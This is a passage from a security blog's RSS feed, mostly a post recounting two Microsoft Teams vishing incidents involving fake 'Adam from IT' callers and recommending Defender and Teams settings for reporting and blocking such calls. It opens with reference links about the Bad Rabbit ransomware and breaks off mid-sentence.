&gt;https://tria.ge/251107-yd3m1ahm6v/behavioral1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (infpub.dat) —&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (dispci.exe) —&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/0f815e2944f12b847e1165517daaab6be67ff4c1daee73b09e8fb3733b974c9f&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/0f815e2944f12b847e1165517daaab6be67ff4c1daee73b09e8fb3733b974c9f&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Welivesecurity by Eset — &amp;quot; # &amp;ldquo;Bad Rabbit: Not-Petya is back with improved ransomware&amp;rdquo;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Any.Run (infpub.dat):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/b83b65e0-5717-4e98-9763-32cd281ff023&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/b83b65e0-5717-4e98-9763-32cd281ff023&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Disk Cryptor:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://diskcryptor.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://diskcryptor.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Malpedia — EternalPetya:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Groups — Sandworm Team (G0034):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/groups/G0034/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/groups/G0034/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — Bad Rabbit (S0606):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0606/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0606/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Firmware Corruption (T1495):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1495/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1495/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>StumbleSOC Blog Stories  — The Teams Call Compromise</title>
            <link>https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/</link>
            <pubDate>Sun, 19 Apr 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/2f9fcf40f3ddb4bc86f758723a4dd02d_MD5.jpg&#34; alt=&#34;Featured image of post StumbleSOC Blog Stories  — The Teams Call Compromise&#34; /&gt;&lt;h3 id=&#34;stumblesoc-stories-the-teams-call-compromise&#34;&gt;StumbleSOC Stories: The Teams Call Compromise&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-tale-of-two-adams-microsoft-teams-vishing-and-practical-detection-with-microsoft-defenderxdr&#34;&gt;A Tale of Two Adams: Microsoft Teams Vishing and Practical Detection with Microsoft Defender XDR&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;360px&#34; data-flex-grow=&#34;150&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/2f9fcf40f3ddb4bc86f758723a4dd02d_MD5.jpg&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Photo by &lt;a class=&#34;link&#34; href=&#34;https://unsplash.com/@appshunter?utm_source=medium&amp;amp;utm_medium=referral&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;appshunter.io&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://unsplash.com/?utm_source=medium&amp;amp;utm_medium=referral&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Unsplash&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction--a-tale-of-twoadams&#34;&gt;Introduction — &lt;em&gt;A Tale of Two Adams&lt;/em&gt;&#xA;&lt;/h3&gt;&lt;p&gt;This week, I&amp;rsquo;m taking another detour from my usual walkthrough format to try something a little different. This is another entry in my &lt;em&gt;StumbleSOC Stories&lt;/em&gt; series, a collection of field notes and real-world anecdotes. It&amp;rsquo;s essentially my working diary, where I recount interesting incidents with actionable insights and takeaways.&lt;/p&gt;&#xA;&lt;p&gt;This particular story is adapted from two real incidents separated by about ten months, both involving &lt;strong&gt;Microsoft Teams&lt;/strong&gt;, voice phishing, and a suspiciously helpful individual named Adam. It&amp;rsquo;s less a tale of deep technical chops and more a reminder of how effective social engineering can be when it shows up in a familiar place, at the wrong time, wearing a friendly display name.&lt;/p&gt;&#xA;&lt;p&gt;Rather than walk through this as a formal incident response case study, I&amp;rsquo;m taking more of an inside-out approach. We&amp;rsquo;ll stumble through what tipped us off, how we scoped what happened, where our controls worked, and, more importantly, where they didn&amp;rsquo;t. Along the way, I&amp;rsquo;ll highlight the adjustments the organization made and how small changes in visibility, reporting, and detection made a real difference the second time around.&lt;/p&gt;&#xA;&lt;p&gt;The goal here isn&amp;rsquo;t to document a perfect response or to shame a user who did everything &amp;ldquo;wrong.&amp;rdquo; It&amp;rsquo;s to show how quickly trust can be established with ubiquitous, real-time collaboration tools, how easily that trust can be exploited, and how defenders can adapt without cloistering themselves off from tools the business relies on every day.&lt;/p&gt;&#xA;&lt;p&gt;This is &lt;em&gt;A Tale of Two Adams&lt;/em&gt;. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;h3 id=&#34;hello-this-is-adam-from-your-it-department&#34;&gt;&amp;ldquo;Hello, this is Adam from your IT Department.&amp;rdquo;&#xA;&lt;/h3&gt;&lt;p&gt;Back in the summer of 2025, I had my first close encounter with &lt;strong&gt;Microsoft Teams&lt;/strong&gt; voice phishing. I know, fashionably late to the vishing party. Bear with me. A user in an organization I was supporting received a call with the display name &amp;ldquo;&lt;em&gt;IT Support (Working From Home)&lt;/em&gt;&amp;rdquo;. You can probably guess where this is going.&lt;/p&gt;&#xA;&lt;p&gt;The security team picked up on this when alerts started popping for strange artifacts blocked by the &lt;strong&gt;IPS&lt;/strong&gt;, but nothing surfaced from the &lt;strong&gt;EDR&lt;/strong&gt; tooling, and there was no report from the user.&lt;/p&gt;&#xA;&lt;p&gt;After a quick triage, the team pieced together that the user had attempted to open &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S1209/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Quick Assist&lt;/strong&gt;&lt;/a&gt; on their work laptop, a preinstalled remote support utility in Windows. That activity was blocked by the &lt;em&gt;EDR&lt;/em&gt; network sensor due to a pre-existing URL block indicator. A key detail here is that these informational-level events tend to be pretty noisy in that environment, so they were suppressed and never surfaced in the queue.&lt;/p&gt;&#xA;&lt;p&gt;From there, we identified that the user had also received a suspicious email containing instructions and a link to download and install another remote support tool, &lt;strong&gt;Zoho Assist&lt;/strong&gt;. Shortly after, there was an attempt to download a ZIP file via &lt;code&gt;curl&lt;/code&gt;. That connection attempt is ultimately what the &lt;em&gt;IPS&lt;/em&gt; picked up and blocked.&lt;/p&gt;&#xA;&lt;p&gt;Once this activity was confirmed, we pumped the brakes, isolated the device, and reached out to the user for more context:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;ldquo;OMG, someone named_ &lt;strong&gt;&lt;em&gt;Adam&lt;/em&gt;&lt;/strong&gt; _called me from €˜IT Support (Working From Home) (External)&amp;rsquo; and ran something on my computer. After the call I was like&amp;hellip; I hope that was legit.&amp;rdquo; It wasn&amp;rsquo;t. The user had their suspicions too (maybe the &lt;em&gt;EXTERNAL&lt;/em&gt; tag helped) and had already rebooted the device, cutting off the remote access. We mostly just confirmed what they already suspected. The attacker only had access to the device for a few minutes, but in that short window there was already a lot to learn.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Then, almost on cue, as we were discussing the situation, Adam called back to &amp;ldquo;resolve the connection issues.&amp;rdquo; Adam seemed like an initial access-type actor, not the man with the plan. He explained that he was totally stumped as to why the commands he ran hadn&amp;rsquo;t worked (thanks, IPS) and that the issue needed to be escalated. Before that could happen though, he needed to get back on the system to adjust the power-saving settings so it wouldn&amp;rsquo;t go to sleep. The device, he insisted, had to be left on overnight.&lt;/p&gt;&#xA;&lt;p&gt;That was the cue to shut down the party, bounce the bad guy, and clean up. While no damage was done, it warranted a hard look at what hadn&amp;rsquo;t gone well. One immediate outcome was the decision to throw together a detection rule to flag &lt;em&gt;Quick Assist&lt;/em&gt; activity so there&amp;rsquo;d be an early signal if this happened again. It wasn&amp;rsquo;t elegant, but it got the job done, and it&amp;rsquo;s an important detail for later.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;d almost forgotten about this incident until&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;10-months-later-hello-this-is-a-different-adam-from-your-it-department&#34;&gt;10 months later: &amp;ldquo;Hello, this is (a different) Adam from your IT Department.&amp;rdquo;&#xA;&lt;/h3&gt;&lt;p&gt;One Friday afternoon, right before a holiday weekend, an unexpected helpdesk ticket came in. A user reported that they&amp;rsquo;d missed a &lt;strong&gt;Microsoft Teams&lt;/strong&gt; call from a suspicious caller with the display name &amp;ldquo;&lt;em&gt;HELP DESK.&lt;/em&gt;&amp;rdquo; Then, only about five minutes later, that rarely seen and almost forgotten &lt;em&gt;Quick Assist&lt;/em&gt; detection alert from way back in the summer popped on another workstation.&lt;/p&gt;&#xA;&lt;p&gt;Could it be another Adam?&lt;/p&gt;&#xA;&lt;p&gt;This time, we were ready.&lt;/p&gt;&#xA;&lt;p&gt;When the team contacted the user immediately, they explained they had been speaking with a purported internal sysadmin and, wouldn&amp;rsquo;t you believe it, also named Adam. The timing couldn&amp;rsquo;t have been better for the attacker. With a holiday weekend looming and the user trying to wrap things up before heading out, New Adam&amp;rsquo;s call landed at exactly the wrong moment. The user just wanted to be helpful and cross one last thing off their list.&lt;/p&gt;&#xA;&lt;p&gt;As instructed, the victim tried the classic &lt;code&gt;Windows + Ctrl + Q&lt;/code&gt; shortcut to open &lt;em&gt;Quick Assist&lt;/em&gt;. Blocked.&lt;/p&gt;&#xA;&lt;p&gt;New Adam pivoted, instructing them to download another remote management tool, &lt;strong&gt;AnyDesk&lt;/strong&gt;. Also blocked.&lt;/p&gt;&#xA;&lt;p&gt;At that point, the user recalled that Adam sounded disappointed and abruptly hung up. The effort, it seemed, was now too great.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;ldquo;After asking for 2 tools he gave up. And he sounded disappointed when they came up the way they did.&amp;rdquo;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The user headed into their last meeting of the day, not even registering that Adam had just been an attacker trying to gain remote access to their laptop.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, the earlier incident had given the team a pretty clear view of the playbook. This time, preventive controls and detection did exactly what they were supposed to do. No access was granted. The lessons from the earlier stumble paid off, turning this into a tidy containment and a perfect teachable moment.&lt;/p&gt;&#xA;&lt;p&gt;The user genuinely couldn&amp;rsquo;t believe it. &lt;em&gt;Teams&lt;/em&gt; showed &lt;em&gt;Helpdesk&lt;/em&gt;, plain as day, and Adam sounded like he wanted to help, right? The thing is, if they&amp;rsquo;d paused and done even a basic directory search in their &lt;em&gt;Teams&lt;/em&gt; client, they would&amp;rsquo;ve quickly discovered what we already knew. There was no Adam.&lt;/p&gt;&#xA;&lt;p&gt;A name or picture in &lt;em&gt;Teams&lt;/em&gt; doesn&amp;rsquo;t prove who the caller is, a tone doesn&amp;rsquo;t prove intent, yet this is exactly how trust gets exploited.&lt;/p&gt;&#xA;&lt;p&gt;It might seem obvious in hindsight, but &lt;em&gt;vishing&lt;/em&gt; can be just as effective as email-based phishing. This isn&amp;rsquo;t a new tactic, but it remains powerful because, much like classic tech support scams, it preys on implicit trust and urgency. In most organizations, IT is seen as the steward of the device. Users get conditioned to a familiar break-fix rhythm. People want to help, and they want to be helped.&lt;/p&gt;&#xA;&lt;p&gt;Most security awareness training, including in this case, still focuses heavily on email threats. It&amp;rsquo;s often so fixated on blockbuster phishing statistics that the idea that something like a &lt;em&gt;Teams&lt;/em&gt; voice call could be an entry point doesn&amp;rsquo;t even cross a user&amp;rsquo;s mind.&lt;/p&gt;&#xA;&lt;p&gt;But that&amp;rsquo;s the job isn&amp;rsquo;t it? Keep learning. Keep improving. Keep protecting.&lt;/p&gt;&#xA;&lt;p&gt;So, what&amp;rsquo;s the point of this story?&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-techrecs&#34;&gt;The Tech Recs&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s talk options. What can we actually do to impose cost on the next would-be Adams and defend against these attacks in an organization that can&amp;rsquo;t simply wall itself in by blocking &lt;em&gt;Teams&lt;/em&gt; calls from untrusted externals altogether?&lt;/p&gt;&#xA;&lt;p&gt;This is very much a &lt;strong&gt;Microsoft-focused&lt;/strong&gt; perspective, but a lot of the thinking applies more broadly. The goal here isn&amp;rsquo;t to solve &lt;em&gt;vishing&lt;/em&gt; with a single control or to block everything outright. It&amp;rsquo;s to add friction, make these attacks harder to pull off, noisier, and more likely to stumble before they go anywhere useful.&lt;/p&gt;&#xA;&lt;p&gt;Much of what follows is grounded in Microsoft&amp;rsquo;s guidance for protecting &lt;em&gt;Teams&lt;/em&gt; through &lt;strong&gt;Microsoft Defender for Office 365&lt;/strong&gt;, which provides a solid baseline. From there, the emphasis shifts to what actually helps in practice and how relatively small changes can turn the tides back in the defender&amp;rsquo;s favor.&lt;/p&gt;&#xA;&lt;p&gt;These recommendations pull from Microsoft SecOps documentation, sprinkled in with firsthand observations from incidents like the ones above. I&amp;rsquo;m intentionally tying together ideas that Microsoft documentation often treats in isolation and shaping them into something more prescriptive and practical.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#enable-secops-to-hunt-for-threats-and-detections-in-microsoft-teams&#34;  title=&#34;https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#enable-secops-to-hunt-for-threats-and-detections-in-microsoft-teams&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Security Operations Guide for Teams protection — Microsoft Defender for Office 365&lt;/strong&gt;&#xA;_A prescriptive playbook for SecOps personnel to manage Microsoft Teams protection in Microsoft Defender for Office 365._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#enable-secops-to-hunt-for-threats-and-detections-in-microsoft-teams&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you work in the Microsoft ecosystem, a quick heads-up: some of these capabilities are still in preview, and others evolve quickly as &lt;em&gt;Teams&lt;/em&gt; and &lt;em&gt;Defender&lt;/em&gt; continue to change. Depending on when you&amp;rsquo;re reading this, specific features, settings, or behaviors may look a little different.&lt;/p&gt;&#xA;&lt;p&gt;From here on out, we&amp;rsquo;ll get concrete.&lt;/p&gt;&#xA;&lt;h3 id=&#34;user-initiated-reporting-of-suspicious-teams-calls-ormessages&#34;&gt;User-Initiated Reporting of Suspicious Teams Calls or Messages&#xA;&lt;/h3&gt;&lt;p&gt;Remember when I said one of the pitfalls was too much phish-focused training?&lt;/p&gt;&#xA;&lt;p&gt;The first, and arguably easiest, improvement here, especially in a straight-up &lt;strong&gt;Microsoft&lt;/strong&gt; shop, is empowering users to report more than just email. Suspicious &lt;em&gt;Teams&lt;/em&gt; messages and calls should fall into that same muscle memory. And yes, there&amp;rsquo;s a reasonably frictionless way to do this without forcing users to open a helpdesk ticket. Instead, those reports can flow directly into your incident queue.&lt;/p&gt;&#xA;&lt;p&gt;Microsoft has clearly put more attention on this threat over the past year and has improved their offerings as a result. As this attack surface continues to grow, it makes sense to lean on your user base and take advantage of what&amp;rsquo;s probably already been drilled into them ad-nauseam. If users know how to report phishing emails, reporting suspicious &lt;em&gt;Teams&lt;/em&gt; activity shouldn&amp;rsquo;t feel like a new behavior.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-of-teams-messages-in-the-defender-portal&#34;  title=&#34;https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-of-teams-messages-in-the-defender-portal&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;User reported settings in Teams - Microsoft Defender for Office 365&lt;/strong&gt;&#xA;_Admins can configure whether users can report malicious messages or calls in Microsoft Teams._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-of-teams-messages-in-the-defender-portal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From an admin perspective, this starts in the &lt;strong&gt;Teams Admin Center&lt;/strong&gt;. Depending on whether you&amp;rsquo;re using the classic policy experience or the newer unified policy pages, the paths look a little different.&lt;/p&gt;&#xA;&lt;h4 id=&#34;for-messages&#34;&gt;For Messages:&#xA;&lt;/h4&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Classic&lt;/strong&gt;: &lt;em&gt;Teams Admin&lt;/em&gt; → &lt;em&gt;Messaging&lt;/em&gt; → &lt;em&gt;Messaging Policies&lt;/em&gt; → &lt;strong&gt;&lt;em&gt;Report a security concern&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unified policy page&lt;/strong&gt;: &lt;code&gt;https://admin.teams.microsoft.com/one-policy/settings/messaging&lt;/code&gt; → &lt;strong&gt;&lt;em&gt;Report a security concern&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/ee8109d74f516c41c0b307b0b0d7be75_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;for-voice-calls-preview&#34;&gt;For Voice Calls (Preview):&#xA;&lt;/h4&gt;&lt;p&gt;For voice calls, this capability is still in &lt;strong&gt;Preview&lt;/strong&gt; at the time of writing, but it&amp;rsquo;s worth enabling where available:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/microsoftteams/end-user-reporting-teams-calling&#34;  title=&#34;https://learn.microsoft.com/en-us/microsoftteams/end-user-reporting-teams-calling&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Report suspicious Teams Calls — Microsoft Teams&lt;/strong&gt;&#xA;_Learn how users can report suspicious or scam calls in Microsoft Teams_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/microsoftteams/end-user-reporting-teams-calling&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Classic&lt;/strong&gt;: &lt;em&gt;Teams Admin&lt;/em&gt; → &lt;em&gt;Voice&lt;/em&gt; → &lt;em&gt;Calling Policies&lt;/em&gt; → &lt;strong&gt;&lt;em&gt;Report a call&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unified policy page&lt;/strong&gt;: &lt;code&gt;https://admin.teams.microsoft.com/one-policy/settings/calling&lt;/code&gt; → &lt;strong&gt;&lt;em&gt;Report a call&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;565&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/bbb7939d709c78017ac826d6d7d55d94_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-in-the-teams-admin-center&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-office-365/submissions-teams#turn-off-or-turn-on-user-reporting-in-the-teams-admin-center&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;microsoft-defender-portal-enablement&#34;&gt;Microsoft Defender Portal Enablement&#xA;&lt;/h4&gt;&lt;p&gt;Once reporting is enabled in the &lt;em&gt;Teams Admin Center&lt;/em&gt;, there&amp;rsquo;s a corresponding step on the &lt;em&gt;Defender&lt;/em&gt; side. In the &lt;strong&gt;Microsoft Defender&lt;/strong&gt; portal, you&amp;rsquo;ll want to validate:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Microsoft Defender&lt;/em&gt; → &lt;em&gt;Settings&lt;/em&gt; → &lt;em&gt;Email &amp;amp; collaboration&lt;/em&gt; → &lt;em&gt;User reported settings&lt;/em&gt; → &lt;strong&gt;&lt;em&gt;Monitor reported items in Microsoft Teams&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;663px&#34; data-flex-grow=&#34;276&#34; height=&#34;231&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/355bd4d761471f06e96c640294c751e3_MD5.png&#34; width=&#34;639&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &amp;ldquo;The value of this setting is meaningful only if reporting is turned on in the Teams admin center as described in the previous section.&amp;rdquo; Meaning only turn it on if you&amp;rsquo;ve &lt;em&gt;also&lt;/em&gt; enabled reporting in &lt;em&gt;Teams&lt;/em&gt;, because it won&amp;rsquo;t work otherwise.&lt;/p&gt;&#xA;&lt;p&gt;While you&amp;rsquo;re in there, it&amp;rsquo;s also worth jumping down to the &lt;em&gt;Microsoft Teams protection&lt;/em&gt; blade and confirming that Zero-hour auto purge (ZAP) for &lt;em&gt;Teams&lt;/em&gt; chats and channels is enabled. Specifically, &amp;ldquo;Protect Teams chats and channels using retroactive content scanning and removal&amp;quot;should be set to &lt;strong&gt;On&lt;/strong&gt;, with appropriate quarantine policies behind it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/stumblesoc-blog-stories-the-teams-call-compromise/9871c590ab55f2deaeea6605d5025803_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once everything is setup, user-initiated reporting gives you signals very similar to traditional phishing workflows, &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/mdo-support-teams-sec-ops-guide#integrate-user-reported-teams-items-into-secops-incident-response&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;including alerts like&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Teams message reported by user as security risk&lt;/li&gt;&#xA;&lt;li&gt;Teams message reported by user as not security risk&lt;/li&gt;&#xA;&lt;li&gt;Teams call reported by user as a security risk&lt;/li&gt;&#xA;&lt;li&gt;Teams call reported by user as a not security risk&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The most important part, though, isn&amp;rsquo;t the toggle. It&amp;rsquo;s making sure this shows up in end-user training. If users don&amp;rsquo;t know it exists, they can&amp;rsquo;t use it, and the whole control adds no value.&lt;/p&gt;&#xA;&lt;p&gt;And if someone does fall for a vishing call? Turn them into a security champion. Let them share what happened with their team. Peer accountability and humility are often far more effective than yet another reminder from IT about &amp;ldquo;being vigilant.&amp;rdquo;&lt;/p&gt;&#xA;&lt;h3 id=&#34;blocking-externalcontacts&#34;&gt;Blocking External Contacts&#xA;&lt;/h3&gt;&lt;p&gt;Another obvious, quick win here is blocking the malicious external contact outright. It&amp;rsquo;s not the most painful control on the pyramid of pain, but it &lt;em&gt;does&lt;/em&gt; stop the immediate threat. In both of the incidents above, and based on broader &lt;a class=&#34;link&#34; href=&#34;https://www.cynet.com/blog/emerging-threat-microsoft-teams-vishing-campaign-continues/#:~:text=The%20attacker%20contacts%20the%20targeted,to%20Office%20365%20for%20Business.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;industry reporting&lt;/a&gt;, these attackers seem to favor &lt;code&gt;[.]onmicrosoft.com&lt;/code&gt; domains, which makes this option particularly useful.&lt;/p&gt;&#xA;&lt;p&gt;What&amp;rsquo;s changed recently, and for the better, is Microsoft&amp;rsquo;s decision to let security teams participate directly through the &lt;strong&gt;Tenant Allow/Block List&lt;/strong&gt; (TABL) on the &lt;em&gt;Defender&lt;/em&gt; side.&lt;/p&gt;&#xA;&lt;p&gt;This capability nicely complements the user reporting feature. More importantly, it gives security teams a way to act quickly when admin roles are split across functions. If your SOC sees a suspicious call artifact and needs to action on it, having to wait on a separate admin team can feel like unnecessary friction.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure&#34;  title=&#34;https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Block domains and addresses in Microsoft Teams using the Tenant Allow/Block List - Microsoft&amp;hellip;&lt;/strong&gt;&#xA;_Admins can learn how to block domains and addresses in Microsoft Teams using the Tenant Allow/Block List._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-office-365/tenant-allow-block-list-teams-domains-configure&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the &lt;em&gt;Teams&lt;/em&gt; side, the setting to block external users (like our two Adams calling from &lt;code&gt;[.]onmicrosoft.com&lt;/code&gt; domains) lives 